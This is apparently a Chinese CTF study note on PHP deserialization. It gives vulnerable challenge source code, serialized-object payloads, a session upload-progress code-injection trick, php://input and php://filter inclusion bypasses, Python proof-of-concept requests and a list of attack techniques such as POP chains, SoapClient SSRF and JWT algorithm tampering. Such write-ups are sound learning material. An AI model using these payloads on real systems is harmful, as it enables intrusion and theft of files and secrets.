PHP反序列化学习笔记

反序列化专题

http://web.jarvisoj.com:32768

此题为反序列化中最简单的一类题目:源码中存在反序列化函数,类中有可利用的函数,并且该函数在反序列化后被调用。只需要通过反序列化漏洞,改变类中属性的值即可。

showimg.php: 文件读取漏洞

<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

index.php :

<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

shield.php :

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

看到这里,发现flag在pctf.php中,而showimg.php文件读取函数中过滤了pctf关键字。而index.php中,存在反序列化触发点可执行readfile函数。

payload:

<?php

class Shield {
        public $file='pctf.php';
}
$a = new Shield();
$b = serialize($a);
echo $b;

#output: O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

访问:

http://web.jarvisoj.com:32768/?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

得到flag:

<?php 
    //Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
    //Fake flag:
    echo "FLAG: PCTF{I_4m_not_fl4g}"
?>

http://web.jarvisoj.com:32784/

题目源码:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

源码中提示了session的序列化引擎。考虑能否利用session触发反序列化。刚好,题目可以获取phpinfo信息。发现session.upload_progress.enabled开启,则通过上传文件可以控制session内容,从而在服务器读取session时,会触发反序列化。
再通过phpinfo查看disable_functions,发现system,exec等函数被禁用。

首先,构造上传页面upload.html:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

上传文件,抓包。
构造序列化poc:

<?php
class OowoO
{
    public $mdzz;
}
$a = new OowoO();
$a->mdzz = 'var_dump(scandir(dirname(__FILE__)));';
$b = serialize($a);
echo $b;

#O:5:"OowoO":1:{s:4:"mdzz";s:37:"var_dump(scandir(dirname(__FILE__)));";}

改造payload(头部加|,双引号转义):

 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:37:\"var_dump(scandir(dirname(__FILE__)));\";}

将burp抓到的post请求,修改文件名为上述payload。
得到flag所在文件: “Here_1s_7he_fl4g_buT_You_Cannot_see.php”
再使用:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

得到flag:

$flag="CTF{4d96e37f4be998c50aa586de4ada354a}";

http://106.14.114.127:21000/

http://106.14.114.127:21001/

魔法方法,构造pop链

<?php  
@error_reporting(1); 
#include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  
 
class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  
  
class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  
if (isset($_GET['data']))  
{ 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
 
?>

http://106.14.114.127:21002/

利用php原生类SoapClient实现ssrf

http://123.206.87.240:8006/test1/

php://input,绕过file_get_contents判断

F12查看源码:

$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}

这段代码有两个漏洞点:file_get_contents(user,'r')和include(file),文件内容判断用php://input绕过,利用文件包含漏洞读取hint.php源码。
payload如下:

import requests
session = requests.Session()
paramsGet = {"txt":"php://input","password":"admin","file":"php://filter/read=convert.base64-encode/resource=hint.php"}
rawBody = "welcome to the bugkuctf"
response = session.post("http://123.206.87.240:8006/test1/", data=rawBody, params=paramsGet)

读取到hint.php源码:

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>

提示存在flag.php文件。首先尝试用文件包含漏洞,直接读取flag.php文件,发现被过滤:

Response body: hello friend!<br>不能现在就给你flag哦

另外,发现flag类的魔法函数__tostring()可用于读取flag。需要找到一个反序列漏洞,并使用echo触发。使用文件包含漏洞,获取index.php完整代码:

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "ä¸�è�½ç�°å�¨å°±ç»�ä½ flagå�¦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  

关键代码段为:

$password = unserialize($password);  
echo $password;

满足反序列化触发条件。构造payload:

<?php
class Flag{
    public $file="flag.php";
}
$a = new Flag(); 
$b = serialize($a);
echo $b;

# O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终poc:

import requests
session = requests.Session()
paramsGet = {"txt":"php://input","password":'O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}',"file":"hint.php"}
rawBody = "welcome to the bugkuctf"
response = session.post("http://123.206.87.240:8006/test1/", data=rawBody, params=paramsGet)

http://106.14.114.127:21004/

魔法方法,构造pop链

魔法方法

方法的调用不会保存到序列化中,因此反序列化后,函数的触发是问题的关键。

魔法方法:满足条件时,自动触发。不需要调用。

手册中,可查魔法方法:__toSting(打印时),__call(调用不存在的方法时)等

在类外部赋值,只对public变量有效。private变量,需要再类内部赋值。

构造序列化后,urlencode再发送。

考点:

  1. pop链:串联序列化

  2. 结合session,session是通过序列化存在服务器端。session的序列化引擎有三种。一般是php(默认)和php_serialize组合利用。存储用php,反序列化用php_serialize,会出问题。需要控制session内容(uploadgress。。。=on),构造文件上传,filename会在session文件中出现。服务器接收session后,会自动对其反序列化。
    payload要加|,做转义。

  3. 代码中没有序列化的,用session或phar触发。

parse_str 函数可以做变量覆盖。
call_user_func_array危险函数

反引号可以直接执行命令。$IFS代替空格。

绕过__wakeup()是cve,有绕过漏洞。

union select (。。。。),2,3 结合

利用类的同名函数触发

&取地址,用来绕过===,

php原生类同名函数:
soapClient->ssrf
sqlite3,创建空白文件,
simpleXML。。。任意文件读取
Dir。。。列目录

.htaccess 可定义后缀的解析方法。

php脚本快速找同名函数原生类。

可以利用php自带类中的同名方法。

要根据题目的环境,使用脚本找同名原生类。

找原生魔法方法的脚本。

https://corb3nik.github.io/blog/insomnihack-teaser-2018/file-vault
http://www.wupco.cn/?p=4486

CIRL注入,构造http头。

json web token :JWT用于身份验证,保持状态
防串改,不防读取。串改需要伪造签名(需要泄露秘钥)。
结构:header+payload+Signature

攻击方法:
1.修改算法攻击(HS256等):只有公钥等化,改算法为对称算法活着空

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 225,015评论 6 522
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 96,373评论 3 404
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 172,253评论 0 368
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 61,069评论 1 300
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 70,079评论 6 400
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 53,550评论 1 314
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 41,911评论 3 429
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 40,892评论 0 279
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 47,435评论 1 324
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 39,465评论 3 346
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 41,586评论 1 355
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 37,178评论 5 351
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 42,920评论 3 340
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 33,356评论 0 25
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 34,493评论 1 277
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 50,151评论 3 381
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 46,663评论 2 366

推荐阅读更多精彩内容